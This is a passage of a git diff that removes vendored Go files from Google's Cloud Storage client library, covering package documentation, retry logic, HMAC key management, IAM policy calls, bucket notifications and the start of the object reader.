} - if err := applyConds("ComposeFrom source", src.gen, src.conds, composeSourceObj{srcObj}); err != nil { - return nil, err - } - req.SourceObjects = append(req.SourceObjects, srcObj) - } - - call := c.dst.c.raw.Objects.Compose(c.dst.bucket, c.dst.object, req).Context(ctx) - if err := applyConds("ComposeFrom destination", c.dst.gen, c.dst.conds, call); err != nil { - return nil, err - } - if c.dst.userProject != "" { - call.UserProject(c.dst.userProject) - } - if c.PredefinedACL != "" { - call.DestinationPredefinedAcl(c.PredefinedACL) - } - if err := setEncryptionHeaders(call.Header(), c.dst.encryptionKey, false); err != nil { - return nil, err - } - var obj *raw.Object - setClientHeader(call.Header()) - err = runWithRetry(ctx, func() error { obj, err = call.Do(); return err }) - if err != nil { - return nil, err - } - return newObject(obj), nil -} diff --git a/vendor/cloud.google.com/go/storage/doc.go b/vendor/cloud.google.com/go/storage/doc.go deleted file mode 100644 index 88f6459046..0000000000 --- a/vendor/cloud.google.com/go/storage/doc.go +++ /dev/null @@ -1,176 +0,0 @@ -// Copyright 2016 Google LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -/* -Package storage provides an easy way to work with Google Cloud Storage. -Google Cloud Storage stores data in named objects, which are grouped into buckets. - -More information about Google Cloud Storage is available at -https://cloud.google.com/storage/docs. - -See https://godoc.org/cloud.google.com/go for authentication, timeouts, -connection pooling and similar aspects of this package. - -All of the methods of this package use exponential backoff to retry calls that fail -with certain errors, as described in -https://cloud.google.com/storage/docs/exponential-backoff. Retrying continues -indefinitely unless the controlling context is canceled or the client is closed. See -context.WithTimeout and context.WithCancel. - - -Creating a Client - -To start working with this package, create a client: - - ctx := context.Background() - client, err := storage.NewClient(ctx) - if err != nil { - // TODO: Handle error. - } - -The client will use your default application credentials. - -If you only wish to access public data, you can create -an unauthenticated client with - - client, err := storage.NewClient(ctx, option.WithoutAuthentication()) - -Buckets - -A Google Cloud Storage bucket is a collection of objects. To work with a -bucket, make a bucket handle: - - bkt := client.Bucket(bucketName) - -A handle is a reference to a bucket. You can have a handle even if the -bucket doesn't exist yet. To create a bucket in Google Cloud Storage, -call Create on the handle: - - if err := bkt.Create(ctx, projectID, nil); err != nil { - // TODO: Handle error. - } - -Note that although buckets are associated with projects, bucket names are -global across all projects. - -Each bucket has associated metadata, represented in this package by -BucketAttrs. The third argument to BucketHandle.Create allows you to set -the initial BucketAttrs of a bucket. To retrieve a bucket's attributes, use -Attrs: - - attrs, err := bkt.Attrs(ctx) - if err != nil { - // TODO: Handle error. - } - fmt.Printf("bucket %s, created at %s, is located in %s with storage class %s\n", - attrs.Name, attrs.Created, attrs.Location, attrs.StorageClass) - -Objects - -An object holds arbitrary data as a sequence of bytes, like a file. You -refer to objects using a handle, just as with buckets, but unlike buckets -you don't explicitly create an object. Instead, the first time you write -to an object it will be created. You can use the standard Go io.Reader -and io.Writer interfaces to read and write object data: - - obj := bkt.Object("data") - // Write something to obj. - // w implements io.Writer. - w := obj.NewWriter(ctx) - // Write some text to obj. This will either create the object or overwrite whatever is there already. - if _, err := fmt.Fprintf(w, "This object contains text.\n"); err != nil { - // TODO: Handle error. - } - // Close, just like writing a file. - if err := w.Close(); err != nil { - // TODO: Handle error. - } - - // Read it back. - r, err := obj.NewReader(ctx) - if err != nil { - // TODO: Handle error. - } - defer r.Close() - if _, err := io.Copy(os.Stdout, r); err != nil { - // TODO: Handle error. - } - // Prints "This object contains text." - -Objects also have attributes, which you can fetch with Attrs: - - objAttrs, err := obj.Attrs(ctx) - if err != nil { - // TODO: Handle error. - } - fmt.Printf("object %s has size %d and can be read using %s\n", - objAttrs.Name, objAttrs.Size, objAttrs.MediaLink) - -ACLs - -Both objects and buckets have ACLs (Access Control Lists). An ACL is a list of -ACLRules, each of which specifies the role of a user, group or project. ACLs -are suitable for fine-grained control, but you may prefer using IAM to control -access at the project level (see -https://cloud.google.com/storage/docs/access-control/iam). - -To list the ACLs of a bucket or object, obtain an ACLHandle and call its List method: - - acls, err := obj.ACL().List(ctx) - if err != nil { - // TODO: Handle error. - } - for _, rule := range acls { - fmt.Printf("%s has role %s\n", rule.Entity, rule.Role) - } - -You can also set and delete ACLs. - -Conditions - -Every object has a generation and a metageneration. The generation changes -whenever the content changes, and the metageneration changes whenever the -metadata changes. Conditions let you check these values before an operation; -the operation only executes if the conditions match. You can use conditions to -prevent race conditions in read-modify-write operations. - -For example, say you've read an object's metadata into objAttrs. Now -you want to write to that object, but only if its contents haven't changed -since you read it. Here is how to express that: - - w = obj.If(storage.Conditions{GenerationMatch: objAttrs.Generation}).NewWriter(ctx) - // Proceed with writing as above. - -Signed URLs - -You can obtain a URL that lets anyone read or write an object for a limited time. -You don't need to create a client to do this. See the documentation of -SignedURL for details. - - url, err := storage.SignedURL(bucketName, "shared-object", opts) - if err != nil { - // TODO: Handle error. - } - fmt.Println(url) - -Errors - -Errors returned by this client are often of the type [`googleapi.Error`](https://godoc.org/google.golang.org/api/googleapi#Error). -These errors can be introspected for more information by type asserting to the richer `googleapi.Error` type. For example: - - if e, ok := err.(*googleapi.Error); ok { - if e.Code == 409 { ... } - } -*/ -package storage // import "cloud.google.com/go/storage" diff --git a/vendor/cloud.google.com/go/storage/go110.go b/vendor/cloud.google.com/go/storage/go110.go deleted file mode 100644 index 206813f0ce..0000000000 --- a/vendor/cloud.google.com/go/storage/go110.go +++ /dev/null @@ -1,32 +0,0 @@ -// Copyright 2017 Google LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -// +build go1.10 - -package storage - -import "google.golang.org/api/googleapi" - -func shouldRetry(err error) bool { - switch e := err.(type) { - case *googleapi.Error: - // Retry on 429 and 5xx, according to - // https://cloud.google.com/storage/docs/exponential-backoff. - return e.Code == 429 || (e.Code >= 500 && e.Code < 600) - case interface{ Temporary() bool }: - return e.Temporary() - default: - return false - } -} diff --git a/vendor/cloud.google.com/go/storage/hmac.go b/vendor/cloud.google.com/go/storage/hmac.go deleted file mode 100644 index 4a5c1b5121..0000000000 --- a/vendor/cloud.google.com/go/storage/hmac.go +++ /dev/null @@ -1,330 +0,0 @@ -// Copyright 2019 Google LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package storage - -import ( - "context" - "errors" - "fmt" - "time" - - "google.golang.org/api/iterator" - raw "google.golang.org/api/storage/v1" -) - -// HMACState is the state of the HMAC key. -type HMACState string - -const ( - // Active is the status for an active key that can be used to sign - // requests. - Active HMACState = "ACTIVE" - - // Inactive is the status for an inactive key thus requests signed by - // this key will be denied. - Inactive HMACState = "INACTIVE" - - // Deleted is the status for a key that is deleted. - // Once in this state the key cannot key cannot be recovered - // and does not count towards key limits. Deleted keys will be cleaned - // up later. - Deleted HMACState = "DELETED" -) - -// HMACKey is the representation of a Google Cloud Storage HMAC key. -// -// HMAC keys are used to authenticate signed access to objects. To enable HMAC key -// authentication, please visit https://cloud.google.com/storage/docs/migrating. -// -// This type is EXPERIMENTAL and subject to change or removal without notice. -type HMACKey struct { - // The HMAC's secret key. - Secret string - - // AccessID is the ID of the HMAC key. - AccessID string - - // Etag is the HTTP/1.1 Entity tag. - Etag string - - // ID is the ID of the HMAC key, including the ProjectID and AccessID. - ID string - - // ProjectID is the ID of the project that owns the - // service account to which the key authenticates. - ProjectID string - - // ServiceAccountEmail is the email address - // of the key's associated service account. - ServiceAccountEmail string - - // CreatedTime is the creation time of the HMAC key. - CreatedTime time.Time - - // UpdatedTime is the last modification time of the HMAC key metadata. - UpdatedTime time.Time - - // State is the state of the HMAC key. - // It can be one of StateActive, StateInactive or StateDeleted. - State HMACState -} - -// HMACKeyHandle helps provide access and management for HMAC keys. -// -// This type is EXPERIMENTAL and subject to change or removal without notice. -type HMACKeyHandle struct { - projectID string - accessID string - - raw *raw.ProjectsHmacKeysService -} - -// HMACKeyHandle creates a handle that will be used for HMACKey operations. -// -// This method is EXPERIMENTAL and subject to change or removal without notice. -func (c *Client) HMACKeyHandle(projectID, accessID string) *HMACKeyHandle { - return &HMACKeyHandle{ - projectID: projectID, - accessID: accessID, - raw: raw.NewProjectsHmacKeysService(c.raw), - } -} - -// Get invokes an RPC to retrieve the HMAC key referenced by the -// HMACKeyHandle's accessID. -// -// This method is EXPERIMENTAL and subject to change or removal without notice. -func (hkh *HMACKeyHandle) Get(ctx context.Context) (*HMACKey, error) { - call := hkh.raw.Get(hkh.projectID, hkh.accessID) - setClientHeader(call.Header()) - - var metadata *raw.HmacKeyMetadata - var err error - err = runWithRetry(ctx, func() error { - metadata, err = call.Context(ctx).Do() - return err - }) - if err != nil { - return nil, err - } - - hkPb := &raw.HmacKey{ - Metadata: metadata, - } - return pbHmacKeyToHMACKey(hkPb, false) -} - -// Delete invokes an RPC to delete the key referenced by accessID, on Google Cloud Storage. -// Only inactive HMAC keys can be deleted. -// After deletion, a key cannot be used to authenticate requests. -// -// This method is EXPERIMENTAL and subject to change or removal without notice. -func (hkh *HMACKeyHandle) Delete(ctx context.Context) error { - delCall := hkh.raw.Delete(hkh.projectID, hkh.accessID) - setClientHeader(delCall.Header()) - - return runWithRetry(ctx, func() error { - return delCall.Context(ctx).Do() - }) -} - -func pbHmacKeyToHMACKey(pb *raw.HmacKey, updatedTimeCanBeNil bool) (*HMACKey, error) { - pbmd := pb.Metadata - if pbmd == nil { - return nil, errors.New("field Metadata cannot be nil") - } - createdTime, err := time.Parse(time.RFC3339, pbmd.TimeCreated) - if err != nil { - return nil, fmt.Errorf("field CreatedTime: %v", err) - } - updatedTime, err := time.Parse(time.RFC3339, pbmd.Updated) - if err != nil && !updatedTimeCanBeNil { - return nil, fmt.Errorf("field UpdatedTime: %v", err) - } - - hmk := &HMACKey{ - AccessID: pbmd.AccessId, - Secret: pb.Secret, - Etag: pbmd.Etag, - ID: pbmd.Id, - State: HMACState(pbmd.State), - ProjectID: pbmd.ProjectId, - CreatedTime: createdTime, - UpdatedTime: updatedTime, - - ServiceAccountEmail: pbmd.ServiceAccountEmail, - } - - return hmk, nil -} - -// CreateHMACKey invokes an RPC for Google Cloud Storage to create a new HMACKey. -// -// This method is EXPERIMENTAL and subject to change or removal without notice. -func (c *Client) CreateHMACKey(ctx context.Context, projectID, serviceAccountEmail string) (*HMACKey, error) { - if projectID == "" { - return nil, errors.New("storage: expecting a non-blank projectID") - } - if serviceAccountEmail == "" { - return nil, errors.New("storage: expecting a non-blank service account email") - } - - svc := raw.NewProjectsHmacKeysService(c.raw) - call := svc.Create(projectID, serviceAccountEmail) - setClientHeader(call.Header()) - - var hkPb *raw.HmacKey - var err error - err = runWithRetry(ctx, func() error { - hkPb, err = call.Context(ctx).Do() - return err - }) - if err != nil { - return nil, err - } - - return pbHmacKeyToHMACKey(hkPb, true) -} - -// HMACKeyAttrsToUpdate defines the attributes of an HMACKey that will be updated. -// -// This type is EXPERIMENTAL and subject to change or removal without notice. -type HMACKeyAttrsToUpdate struct { - // State is required and must be either StateActive or StateInactive. - State HMACState - - // Etag is an optional field and it is the HTTP/1.1 Entity tag. - Etag string -} - -// Update mutates the HMACKey referred to by accessID. -// -// This method is EXPERIMENTAL and subject to change or removal without notice. -func (h *HMACKeyHandle) Update(ctx context.Context, au HMACKeyAttrsToUpdate) (*HMACKey, error) { - if au.State != Active && au.State != Inactive { - return nil, fmt.Errorf("storage: invalid state %q for update, must be either %q or %q", au.State, Active, Inactive) - } - - call := h.raw.Update(h.projectID, h.accessID, &raw.HmacKeyMetadata{ - Etag: au.Etag, - State: string(au.State), - }) - setClientHeader(call.Header()) - - var metadata *raw.HmacKeyMetadata - var err error - err = runWithRetry(ctx, func() error { - metadata, err = call.Context(ctx).Do() - return err - }) - - if err != nil { - return nil, err - } - hkPb := &raw.HmacKey{ - Metadata: metadata, - } - return pbHmacKeyToHMACKey(hkPb, false) -} - -// An HMACKeysIterator is an iterator over HMACKeys. -// -// This type is EXPERIMENTAL and subject to change or removal without notice. -type HMACKeysIterator struct { - ctx context.Context - raw *raw.ProjectsHmacKeysService - projectID string - hmacKeys []*HMACKey - pageInfo *iterator.PageInfo - nextFunc func() error - index int -} - -// ListHMACKeys returns an iterator for listing HMACKeys. -// -// This method is EXPERIMENTAL and subject to change or removal without notice. -func (c *Client) ListHMACKeys(ctx context.Context, projectID string) *HMACKeysIterator { - it := &HMACKeysIterator{ - ctx: ctx, - raw: raw.NewProjectsHmacKeysService(c.raw), - projectID: projectID, - } - - it.pageInfo, it.nextFunc = iterator.NewPageInfo( - it.fetch, - func() int { return len(it.hmacKeys) - it.index }, - func() interface{} { - prev := it.hmacKeys - it.hmacKeys = it.hmacKeys[:0] - it.index = 0 - return prev - }) - return it -} - -// Next returns the next result. Its second return value is iterator.Done if -// there are no more results. Once Next returns iterator.Done, all subsequent -// calls will return iterator.Done. -// -// This method is EXPERIMENTAL and subject to change or removal without notice. -func (it *HMACKeysIterator) Next() (*HMACKey, error) { - if err := it.nextFunc(); err != nil { - return nil, err - } - - key := it.hmacKeys[it.index] - it.index++ - - return key, nil -} - -// PageInfo supports pagination. See the google.golang.org/api/iterator package for details. -// -// This method is EXPERIMENTAL and subject to change or removal without notice. -func (it *HMACKeysIterator) PageInfo() *iterator.PageInfo { return it.pageInfo } - -func (it *HMACKeysIterator) fetch(pageSize int, pageToken string) (token string, err error) { - call := it.raw.List(it.projectID) - setClientHeader(call.Header()) - call = call.PageToken(pageToken) - // By default we'll also show deleted keys and then - // let users filter on their own. - call = call.ShowDeletedKeys(true) - if pageSize > 0 { - call = call.MaxResults(int64(pageSize)) - } - - ctx := it.ctx - var resp *raw.HmacKeysMetadata - err = runWithRetry(it.ctx, func() error { - resp, err = call.Context(ctx).Do() - return err - }) - if err != nil { - return "", err - } - - for _, metadata := range resp.Items { - hkPb := &raw.HmacKey{ - Metadata: metadata, - } - hkey, err := pbHmacKeyToHMACKey(hkPb, true) - if err != nil { - return "", err - } - it.hmacKeys = append(it.hmacKeys, hkey) - } - return resp.NextPageToken, nil -} diff --git a/vendor/cloud.google.com/go/storage/iam.go b/vendor/cloud.google.com/go/storage/iam.go deleted file mode 100644 index 9d93606712..0000000000 --- a/vendor/cloud.google.com/go/storage/iam.go +++ /dev/null @@ -1,130 +0,0 @@ -// Copyright 2017 Google LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package storage - -import ( - "context" - - "cloud.google.com/go/iam" - "cloud.google.com/go/internal/trace" - raw "google.golang.org/api/storage/v1" - iampb "google.golang.org/genproto/googleapis/iam/v1" -) - -// IAM provides access to IAM access control for the bucket. -func (b *BucketHandle) IAM() *iam.Handle { - return iam.InternalNewHandleClient(&iamClient{ - raw: b.c.raw, - userProject: b.userProject, - }, b.name) -} - -// iamClient implements the iam.client interface. -type iamClient struct { - raw *raw.Service - userProject string -} - -func (c *iamClient) Get(ctx context.Context, resource string) (p *iampb.Policy, err error) { - ctx = trace.StartSpan(ctx, "cloud.google.com/go/storage.IAM.Get") - defer func() { trace.EndSpan(ctx, err) }() - - call := c.raw.Buckets.GetIamPolicy(resource) - setClientHeader(call.Header()) - if c.userProject != "" { - call.UserProject(c.userProject) - } - var rp *raw.Policy - err = runWithRetry(ctx, func() error { - rp, err = call.Context(ctx).Do() - return err - }) - if err != nil { - return nil, err - } - return iamFromStoragePolicy(rp), nil -} - -func (c *iamClient) Set(ctx context.Context, resource string, p *iampb.Policy) (err error) { - ctx = trace.StartSpan(ctx, "cloud.google.com/go/storage.IAM.Set") - defer func() { trace.EndSpan(ctx, err) }() - - rp := iamToStoragePolicy(p) - call := c.raw.Buckets.SetIamPolicy(resource, rp) - setClientHeader(call.Header()) - if c.userProject != "" { - call.UserProject(c.userProject) - } - return runWithRetry(ctx, func() error { - _, err := call.Context(ctx).Do() - return err - }) -} - -func (c *iamClient) Test(ctx context.Context, resource string, perms []string) (permissions []string, err error) { - ctx = trace.StartSpan(ctx, "cloud.google.com/go/storage.IAM.Test") - defer func() { trace.EndSpan(ctx, err) }() - - call := c.raw.Buckets.TestIamPermissions(resource, perms) - setClientHeader(call.Header()) - if c.userProject != "" { - call.UserProject(c.userProject) - } - var res *raw.TestIamPermissionsResponse - err = runWithRetry(ctx, func() error { - res, err = call.Context(ctx).Do() - return err - }) - if err != nil { - return nil, err - } - return res.Permissions, nil -} - -func iamToStoragePolicy(ip *iampb.Policy) *raw.Policy { - return &raw.Policy{ - Bindings: iamToStorageBindings(ip.Bindings), - Etag: string(ip.Etag), - } -} - -func iamToStorageBindings(ibs []*iampb.Binding) []*raw.PolicyBindings { - var rbs []*raw.PolicyBindings - for _, ib := range ibs { - rbs = append(rbs, &raw.PolicyBindings{ - Role: ib.Role, - Members: ib.Members, - }) - } - return rbs -} - -func iamFromStoragePolicy(rp *raw.Policy) *iampb.Policy { - return &iampb.Policy{ - Bindings: iamFromStorageBindings(rp.Bindings), - Etag: []byte(rp.Etag), - } -} - -func iamFromStorageBindings(rbs []*raw.PolicyBindings) []*iampb.Binding { - var ibs []*iampb.Binding - for _, rb := range rbs { - ibs = append(ibs, &iampb.Binding{ - Role: rb.Role, - Members: rb.Members, - }) - } - return ibs -} diff --git a/vendor/cloud.google.com/go/storage/invoke.go b/vendor/cloud.google.com/go/storage/invoke.go deleted file mode 100644 index e755f197de..0000000000 --- a/vendor/cloud.google.com/go/storage/invoke.go +++ /dev/null @@ -1,37 +0,0 @@ -// Copyright 2014 Google LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package storage - -import ( - "context" - - "cloud.google.com/go/internal" - gax "github.com/googleapis/gax-go/v2" -) - -// runWithRetry calls the function until it returns nil or a non-retryable error, or -// the context is done. -func runWithRetry(ctx context.Context, call func() error) error { - return internal.Retry(ctx, gax.Backoff{}, func() (stop bool, err error) { - err = call() - if err == nil { - return true, nil - } - if shouldRetry(err) { - return false, nil - } - return true, err - }) -} diff --git a/vendor/cloud.google.com/go/storage/not_go110.go b/vendor/cloud.google.com/go/storage/not_go110.go deleted file mode 100644 index 66fa45bea2..0000000000 --- a/vendor/cloud.google.com/go/storage/not_go110.go +++ /dev/null @@ -1,42 +0,0 @@ -// Copyright 2017 Google LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -// +build !go1.10 - -package storage - -import ( - "net/url" - "strings" - - "google.golang.org/api/googleapi" -) - -func shouldRetry(err error) bool { - switch e := err.(type) { - case *googleapi.Error: - // Retry on 429 and 5xx, according to - // https://cloud.google.com/storage/docs/exponential-backoff. - return e.Code == 429 || (e.Code >= 500 && e.Code < 600) - case *url.Error: - // Retry on REFUSED_STREAM. - // Unfortunately the error type is unexported, so we resort to string - // matching. - return strings.Contains(e.Error(), "REFUSED_STREAM") - case interface{ Temporary() bool }: - return e.Temporary() - default: - return false - } -} diff --git a/vendor/cloud.google.com/go/storage/notifications.go b/vendor/cloud.google.com/go/storage/notifications.go deleted file mode 100644 index 84619b6d58..0000000000 --- a/vendor/cloud.google.com/go/storage/notifications.go +++ /dev/null @@ -1,188 +0,0 @@ -// Copyright 2017 Google LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package storage - -import ( - "context" - "errors" - "fmt" - "regexp" - - "cloud.google.com/go/internal/trace" - raw "google.golang.org/api/storage/v1" -) - -// A Notification describes how to send Cloud PubSub messages when certain -// events occur in a bucket. -type Notification struct { - //The ID of the notification. - ID string - - // The ID of the topic to which this subscription publishes. - TopicID string - - // The ID of the project to which the topic belongs. - TopicProjectID string - - // Only send notifications about listed event types. If empty, send notifications - // for all event types. - // See https://cloud.google.com/storage/docs/pubsub-notifications#events. - EventTypes []string - - // If present, only apply this notification configuration to object names that - // begin with this prefix. - ObjectNamePrefix string - - // An optional list of additional attributes to attach to each Cloud PubSub - // message published for this notification subscription. - CustomAttributes map[string]string - - // The contents of the message payload. - // See https://cloud.google.com/storage/docs/pubsub-notifications#payload. - PayloadFormat string -} - -// Values for Notification.PayloadFormat. -const ( - // Send no payload with notification messages. - NoPayload = "NONE" - - // Send object metadata as JSON with notification messages. - JSONPayload = "JSON_API_V1" -) - -// Values for Notification.EventTypes. -const ( - // Event that occurs when an object is successfully created. - ObjectFinalizeEvent = "OBJECT_FINALIZE" - - // Event that occurs when the metadata of an existing object changes. - ObjectMetadataUpdateEvent = "OBJECT_METADATA_UPDATE" - - // Event that occurs when an object is permanently deleted. - ObjectDeleteEvent = "OBJECT_DELETE" - - // Event that occurs when the live version of an object becomes an - // archived version. - ObjectArchiveEvent = "OBJECT_ARCHIVE" -) - -func toNotification(rn *raw.Notification) *Notification { - n := &Notification{ - ID: rn.Id, - EventTypes: rn.EventTypes, - ObjectNamePrefix: rn.ObjectNamePrefix, - CustomAttributes: rn.CustomAttributes, - PayloadFormat: rn.PayloadFormat, - } - n.TopicProjectID, n.TopicID = parseNotificationTopic(rn.Topic) - return n -} - -var topicRE = regexp.MustCompile("^//pubsub.googleapis.com/projects/([^/]+)/topics/([^/]+)") - -// parseNotificationTopic extracts the project and topic IDs from from the full -// resource name returned by the service. If the name is malformed, it returns -// "?" for both IDs. -func parseNotificationTopic(nt string) (projectID, topicID string) { - matches := topicRE.FindStringSubmatch(nt) - if matches == nil { - return "?", "?" - } - return matches[1], matches[2] -} - -func toRawNotification(n *Notification) *raw.Notification { - return &raw.Notification{ - Id: n.ID, - Topic: fmt.Sprintf("//pubsub.googleapis.com/projects/%s/topics/%s", - n.TopicProjectID, n.TopicID), - EventTypes: n.EventTypes, - ObjectNamePrefix: n.ObjectNamePrefix, - CustomAttributes: n.CustomAttributes, - PayloadFormat: string(n.PayloadFormat), - } -} - -// AddNotification adds a notification to b. You must set n's TopicProjectID, TopicID -// and PayloadFormat, and must not set its ID. The other fields are all optional. The -// returned Notification's ID can be used to refer to it. -func (b *BucketHandle) AddNotification(ctx context.Context, n *Notification) (ret *Notification, err error) { - ctx = trace.StartSpan(ctx, "cloud.google.com/go/storage.Bucket.AddNotification") - defer func() { trace.EndSpan(ctx, err) }() - - if n.ID != "" { - return nil, errors.New("storage: AddNotification: ID must not be set") - } - if n.TopicProjectID == "" { - return nil, errors.New("storage: AddNotification: missing TopicProjectID") - } - if n.TopicID == "" { - return nil, errors.New("storage: AddNotification: missing TopicID") - } - call := b.c.raw.Notifications.Insert(b.name, toRawNotification(n)) - setClientHeader(call.Header()) - if b.userProject != "" { - call.UserProject(b.userProject) - } - rn, err := call.Context(ctx).Do() - if err != nil { - return nil, err - } - return toNotification(rn), nil -} - -// Notifications returns all the Notifications configured for this bucket, as a map -// indexed by notification ID. -func (b *BucketHandle) Notifications(ctx context.Context) (n map[string]*Notification, err error) { - ctx = trace.StartSpan(ctx, "cloud.google.com/go/storage.Bucket.Notifications") - defer func() { trace.EndSpan(ctx, err) }() - - call := b.c.raw.Notifications.List(b.name) - setClientHeader(call.Header()) - if b.userProject != "" { - call.UserProject(b.userProject) - } - var res *raw.Notifications - err = runWithRetry(ctx, func() error { - res, err = call.Context(ctx).Do() - return err - }) - if err != nil { - return nil, err - } - return notificationsToMap(res.Items), nil -} - -func notificationsToMap(rns []*raw.Notification) map[string]*Notification { - m := map[string]*Notification{} - for _, rn := range rns { - m[rn.Id] = toNotification(rn) - } - return m -} - -// DeleteNotification deletes the notification with the given ID. -func (b *BucketHandle) DeleteNotification(ctx context.Context, id string) (err error) { - ctx = trace.StartSpan(ctx, "cloud.google.com/go/storage.Bucket.DeleteNotification") - defer func() { trace.EndSpan(ctx, err) }() - - call := b.c.raw.Notifications.Delete(b.name, id) - setClientHeader(call.Header()) - if b.userProject != "" { - call.UserProject(b.userProject) - } - return call.Context(ctx).Do() -} diff --git a/vendor/cloud.google.com/go/storage/reader.go b/vendor/cloud.google.com/go/storage/reader.go deleted file mode 100644 index 5c83651bd9..0000000000 --- a/vendor/cloud.google.com/go/storage/reader.go +++ /dev/null @@ -1,403 +0,0 @@ -// Copyright 2016 Google LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package storage - -import ( - "context" - "errors" - "fmt" - "hash/crc32" - "io" - "io/ioutil" - "net/http" - "net/url" - "reflect" - "strconv" - "strings" - "time" - - "cloud.google.com/go/internal/trace" - "google.golang.org/api/googleapi" -) - -var crc32cTable = crc32.MakeTable(crc32.Castagnoli) - -// ReaderObjectAttrs are attributes about the object being read. These are populated -// during the New call. This struct only holds a subset of object attributes: to -// get the full set of attributes, use ObjectHandle.Attrs. -// -// Each field is read-only. -type ReaderObjectAttrs struct { - // Size is the length of the object's content. - Size int64 - - // StartOffset is the byte offset within the object - // from which reading begins. - // This value is only non-zero for range requests. - StartOffset int64 - - // ContentType is the MIME type of the object's content. - ContentType string - - // ContentEncoding is the encoding of the object's content. - ContentEncoding string - - // CacheControl specifies whether and for how long browser and Internet - // caches are allowed to cache your objects. - CacheControl string - - // LastModified is the time that the object was last modified. - LastModified time.Time - - // Generation is the generation number of the object's content. - Generation int64 - - // Metageneration is the version of the metadata for this object at - // this generation. This field is used for preconditions and for - // detecting changes in metadata. A metageneration number is only - // meaningful in the context of a particular generation of a - // particular object. - Metageneration int64 -} - -// NewReader creates a new Reader to read the contents of the -// object. -// ErrObjectNotExist will be returned if the object is not found. -// -// The caller must call Close on the returned Reader when done reading. -func (o *ObjectHandle) NewReader(ctx context.Context) (*Reader, error) { - return o.NewRangeReader(ctx, 0, -1) -} - -// NewRangeReader reads part of an object, reading at most length bytes -// starting at the given offset. If length is negative, the object is read -// until the end. If offset is negative, the object is read abs(offset) bytes -// from the end, and length must also be negative to indicate all remaining -// bytes will be read. -func (o *ObjectHandle) NewRangeReader(ctx context.Context, offset, length int64) (r *Reader, err error) { - ctx = trace.StartSpan(ctx, "cloud.google.com/go/storage.Object.NewRangeReader") - defer func() { trace.EndSpan(ctx, err) }() - - if err := o.validate(); err != nil { - return nil, err - } - if offset < 0 && length >= 0 { - return nil, fmt.Errorf("storage: invalid offset %d < 0 requires negative length", offset) - } - if o.conds != nil { - if err := o.conds.validate("NewRangeReader"); err != nil { - return nil, err - } - } - u := &url.URL{ - Scheme: o.c.scheme, - Host: o.c.readHost, - Path: fmt.Sprintf("/%s/%s", o.bucket, o.object), - } - verb := "GET" - if length == 0 { - verb = "HEAD" - } - req, err := http.NewRequest(verb, u.String(), nil) - if err != nil { - return nil, err - } - req = req.WithContext(ctx) - if o.userProject != "" { - req.Header.Set("X-Goog-User-Project", o.userProject) - } - if o.readCompressed { - req.Header.Set("Accept-Encoding", "gzip") - } - if err := setEncryptionHeaders(req.Header, o.encryptionKey, false); err != nil { - return nil, err - } - - gen := o.gen - - // Define a function that initiates a Read with offset and length, assuming we - // have already read seen bytes. - reopen := func(seen int64) (*http.Response, error) { - start := offset + seen - if length < 0 && start < 0 { - req.Header.Set("Range", fmt.Sprintf("bytes=%d", start)) - } else if length < 0 && start > 0 { - req.Header.Set("Range", fmt.Sprintf("bytes=%d-", start)) - } else if length > 0 { - // The end character isn't affected by how many bytes we've seen. - req.Header.Set("Range", fmt.Sprintf("bytes=%d-%d", start, offset+length-1)) - } - // We wait to assign conditions here because the generation number can change in between reopen() runs. - req.URL.RawQuery = conditionsQuery(gen, o.conds) - var res *http.Response - err = runWithRetry(ctx, func() error { - res, err = o.c.hc.Do(req) - if err 